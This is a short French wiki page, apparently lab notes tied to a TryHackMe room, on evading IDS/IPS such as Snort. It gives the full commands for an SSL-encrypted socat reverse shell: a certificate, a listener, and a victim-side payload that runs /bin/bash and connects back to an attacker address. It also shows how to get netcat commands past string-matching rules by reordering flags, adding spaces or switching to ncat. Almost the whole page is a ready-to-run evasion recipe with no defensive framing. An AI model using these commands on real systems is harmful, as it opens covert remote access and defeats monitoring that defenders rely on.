[Exploitation/Réseau] IDS/IPS Evasion

Introduction

Cette page décrit des solutions pour contourner des solutions **IDS/IPS** telles que **Snort** ou autre.

Manuel

Reverse shell avec certificat SSL

Socat permet l'utilisation de certificat SSL pour chiffrer une connexion. Il va donc nous permettre d'établir un tunnel sécurisé pour exécuter nos commandes à distance.

Tout d'abord, générer un certificat sur la machine de l'attaquant :

```
openssl req -x509 -newkey rsa:4096 -days 365 -subj '/CN=www.redteam.thm/O=Red Team THM/C=UK' -nodes -keyout thm-reverse.key -out thm-reverse.crt
```

```
cat thm-reverse.key thm-reverse.crt > thm-reverse.pem
```

Puis lancez le listener :

```
socat -d -d OPENSSL-LISTEN:4443,cert=thm-reverse.pem,verify=0,fork STDOUT
```

Et sur la machine de la victime, lancez ce payload :

```
socat OPENSSL:10.20.30.1:4443,verify=0 EXEC:/bin/bash
```

> Votre reverse shell sécurisé est ouvert !

Changement de la donnée brute

Imaginons une règle qui se base sur une chaîne de caractère pour détecter l'utilisation de netcat, on pourrait très facilement la contourner en modifiant la commande.

Admettons un règle qui détecte la présence de cette chaîne :

```
nc -lvp
```

On pourrait changer l'ordre des flags :

```
nc -pvl
```

Ou ajouter des espaces :

```
nc  -lvp
```

Ou on peut changer la commande :

```
ncat -lvp
```

Revision #3
Created 2024-03-04 16:12:01 UTC by Elieroc
Updated 2024-05-03 13:15:23 UTC by Elieroc